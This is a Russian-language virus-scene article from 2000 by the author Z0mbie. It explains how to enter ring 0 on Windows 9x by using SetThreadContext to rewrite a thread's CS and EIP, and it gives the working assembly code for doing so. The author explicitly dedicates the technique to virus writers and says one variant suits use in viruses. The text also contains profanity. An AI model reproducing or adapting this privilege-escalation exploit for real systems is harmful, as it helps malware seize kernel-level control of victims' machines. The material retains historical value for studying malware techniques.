13.05.2000 Entering ring-0 using Win32 API: Context modification [Z0mbie]
    Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам.

   Маздай.   Сколько   глюков   в   этом  слове!  Итак,  вашему  вниманию
представляется  вроде  бы  неизвестный  до  сих пор, но просто шокирующий
способ перехода в нулевое кольцо защиты.
   Это  не  патч  системных  таблиц  и  не  загрузка VxD-драйвера; это не
супер-пупер  глюк  в системе и не какой-нибудь навороченный эксплоит; это
даже   не   изъебские   вызовы   чево-то-там   через   кернел  и  это  не
многомегабайтные исходники вызовов пэйджера на си.
   Это просто стандартные апи-функции третьего кольца.
   Суть  заключается  в вызове всего одной функции: SetThreadContext. Эта
функция устанавливает контекст, то есть все регистры для заданной нити.
   Ситуация  усложняется  тем, что сохраненный контекст применяется (т.е.
установка  регистров происходит) при переходе из нуля в третье кольцо при
переключении  задач  и  при  возврате  в  кернел из вызванных им процедур
нулевого кольца.
   Таким  образом  мы подлавливаем момент, когда в контексте текущей нити
управление  находится  в нулевом кольце, а затем правим CS и EIP возврата
на 28h и адрес-процедуры-нулевого-кольца.
   В  результате  вместо  того, чтобы вернуться из нуля обратно в кернел,
управление возвращается к нам.
   Почему  нельзя  изменить  один  только  CS  на  28h? Потому, что тогда
управление  вернется  в  кернел,  а  кернеловский  код  в  нулевом кольце
сглючит, так как до начала работы надо переустановить сегментные регистры
в 30h.

                        push    esp 0 0
                        push    offset thread_ring3_code
                        push    0 0
                        callW   CreateThread    ; создаем новую нить
                        xchg    ebx, eax        ; EBX=хендл нити

                        push    offset context
                        push    ebx
                        callW   GetThreadContext; получаем контекст нити

                        mov     context._segcs, 28h         ; меняем CS:EIP
                        mov     context._eip, offset ring0_code

                        push    offset context
                        push    ebx
                        callW   SetThreadContext; устанавливаем контекст

                        jmp     $               ; чего-то ждем

thread_ring3_code:      push    1
                        call    Sleep           ; пауза
                        jmp     thread_ring3_code

ring0_code:             push    ss ss           ; мы в нуле!
                        pop     ds es
                        ...


   Вот собственно и все. Пример в CONTEXT.ZIP

   Единственно,  что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но
это  ведь  не проблема, так как из нуля можно что угодно записать в любую
область памяти, потом убить текущую нить и перейти в ноль как следует. Но
это уже другая история.

 P.S.
   Улучшенный  вариант  перехода  в  0  находится  в  CONTEXT2.ASM: здесь
приходится организовывать свой стэк, зато можно вызывать VxDcall-ы.

   Еще  более  простой  вариант в CONTEXT3.ASM: здесь мы обходимся вообще
без  создания новой треады и прочей хуйни. Эта версия наиболее приближена
к нормальному использованию в вирях.


(x) 2000 Z0MBiE, http://z0mbie.cjb.net

 Статья для журнала Top Device